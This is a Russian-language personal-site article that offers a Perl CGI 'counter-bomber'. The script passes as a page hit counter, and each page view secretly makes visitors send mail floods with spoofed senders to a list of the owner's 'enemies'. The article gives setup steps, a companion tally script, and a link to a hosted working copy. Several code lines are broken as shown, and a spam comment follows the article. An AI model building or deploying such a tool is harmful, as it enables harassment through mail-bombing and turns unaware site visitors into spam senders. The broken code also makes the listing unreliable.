S P U T N I K Понедельник, 23.10.2017, 01:57
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Меню сайта

Категории каталога
Мои статьи [7]

Наш опрос
Оцените мой сайт
Всего ответов: 274

Главная » Статьи » Мои статьи

Накажи своего врага

Тогда каждый, кто заходит на твою пагу, будет отправлять спам твоим врагам, абсолютно не зная об этом… Предположим:

А) у тебя на паге будет счетчик всего из пяти цифр;
Б) посещаемость твоей паги - 100 человек в день;
B) у тебя трое врагов;

Итого: В результате того, что пагу посетит 100 человек, твой "счетчик", будет запущен 500 раз и отправит 1500 писем твоим врагам. А теперь представь, что каждое письмо мы сделаем в мегабайт величиной… получается 1,5 ГИГАБАЙТА спама В ДЕНЬ, или по 500 мегабайт на каждого недруга…А ты даже и пальцем не пошевелил…Классно, да? Тогда, меняй скорее свой счетчик на мой "счетчик-бомбер" и читай дальше как им пользоваться…

#!/usr/bin/perl

$mailprog = '/usr/sbin/sendmail';
$digits_basedir = "http://www.твоя_пага.ru/digits/";
$count_file = "count.txt";
$classica = "classics.txt";
$targets = "targets.txt";
$emails = "emails.txt";
$results = "results.txt";

($place, $Write) = split(/&/,$ENV{QUERY_STRING});
open (COUNT,"$count_file") || die "Can't Open Count File $count_file, Error : $! ";
($count) = ;
chomp($count);
close(COUNT);
$count++;
open (COUNT,">$count_file") || die "Can't Open Count File $count_file, Error : $! ";
print COUNT "$count";
close(COUNT);
$count = "0000000000".$count;
@chiffres = split(//, $count);
@chiffres = reverse(@chiffres);
print "Location: ".$digits_basedir.$chiffres[$place].".gif ";
open (COUNT,">$count_file") || die "Can't Write Count File $count_file, Error : $! ";
($count2) = ;
chomp($count);
close(COUNT);
open (CLASSICS, "$classica") || die "Can't open CLASSICS File $classica, Error : $! ";
(@classics) = ;
$total = @classics;
while (($count2) > ($total)){
$count2 = $count2 - $total;
}
$subject = $classics[$count2];
chomp ($subject);
close CLASSICS;
open (EMAILS, "$emails") || die "Can't open EMAILS File $emails, Error : $! ";
(@emails) = ;
$total2 = @emails;
while (($count2) > ($total2)){
$count2 = $count2 - $total2;
}
$from = $emails[$count2];
chomp ($from);
close EMAILS;
open (RESULTS, "$results") || die "Can't Open RESULTS File $results, Error : $! ";
($count3) = ;
chomp($count3);
close(RESULTS);
open (TARGETS, "$targets") || die "Can't Open TARGETS File $targets, Error : $! ";
while (){
($target) = ;
chomp ($target);
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain ";
print MAIL "Subject: $subject ";
print MAIL "To: $target ";
print MAIL "From: $from ";
print MAIL "На козел, покушай классики!!! ";
print MAIL "@classics ";
close MAIL;
$count3++;
}
open (RESULTS,">$results") || die "Can't Write RESULTS File $results, Error : $! ";
print RESULTS "$count3";
close RESULTS;

Coded by: Georgy, платный консультант

Уже заменил? Ну что ж теперь не грех рассказать как он действует… В папке со скриптом у тебя должно быть пять файлов:

Count.txt - тот файл, куда будут записываться показания счетчика (кол-во посещений);
Classics.txt - тот файл, откуда будет браться текст для писем (у меня это глава из "Капитанской дочки" А.С. Пушкина), из этого файла также случайным образом будет генерироваться заголовок сообщения;
Targets.txt - Список "вражеских" e-mail`ов(каждый адрес с новой строки);
Emails.txt - из этого файла будет случайным образом выбираться адрес отправителя письма, поэтому это должен быть список e-mail`ов, где каждый адрес написан с новой строки;
Results.txt - Служебный файл, куда будет записываться количество отправленных писем (чтобы душа смотрела и радовалась);

Итак, посетитель заходит на страницу, в результате чего счетчик запускается столько раз, сколько цифр ты указал для отображения. При каждом запуске, он отправляет по одному письму каждому из врагов, адреса которых находятся в targets.txt (письма не простые, а со случайным адресом отправителя и случайной темой). Текст письма берется из classics.txt - поэтому советую напихать туда побольше текста…

Ну а теперь как пользоваться счетчиком - именно как счетчиком… Тебе понадобятся цифры для самого счетчика - их можно взять на моем сайте. Для того, чтобы пользоваться счетчиком по прямому назначению, нужно вставить в свою пагу следующий код:





В результате будет выдан счетчик из трех цифр, как поставить больше цифр - догадайся сам ;-)) Этот счетчик будет показать количество посещений твоей паги…

Теперь нам нужен счетчик служебный который будет показывать количество отправленных писем:

#!/usr/bin/perl

$file = "results.txt";
$digits_basedir = "http://www.твоя_пага.ru/digits/";

($place, $Write) = split(/&/,$ENV{QUERY_STRING});

open (COUNT, "$file") || die "Can't Open Count File $file, Error : $! ";
($count) = ;
chomp($count);
close(COUNT);

$count = "0000000000".$count;
@chiffres = split(//, $count);
@chiffres = reverse(@chiffres);
print "Location: ".$digits_basedir.$chiffres[$place].".gif ";

Вызвать служебный счетчик можно аналогично первому, за исключением параметра "&W".


Ну и напоследок… Если ты настолько ленив, что даже не завел себе страничку, или она у тебя с хостингом типа "Бесплатно.ру" (где тебя, кстати, быстренько прикроют за спам), то смело топай ко мне на http://georgy.h1.ru/. Там ты найдешь рабочую версию "Счетчика-бомбера" и также сможешь подписать своих "недругов" на "рассылочку" произведения Великого А.С. Пушкина "Капитанская дочка" - пусть враги почитают, окультурятся, поумнеют ;-))))


Категория: Мои статьи | Добавил: sputnik95 (07.12.2007) | Автор: Накажи своего врага
Просмотров: 849 | Комментарии: 1 | Рейтинг: 0.0/0 |
Всего комментариев: 1
1  
парень познакомится с парнем для секса julia009909@mail.ru пишите

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа

Поиск

Друзья сайта

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Copyright MyCorp © 2017 Конструктор сайтов - uCoz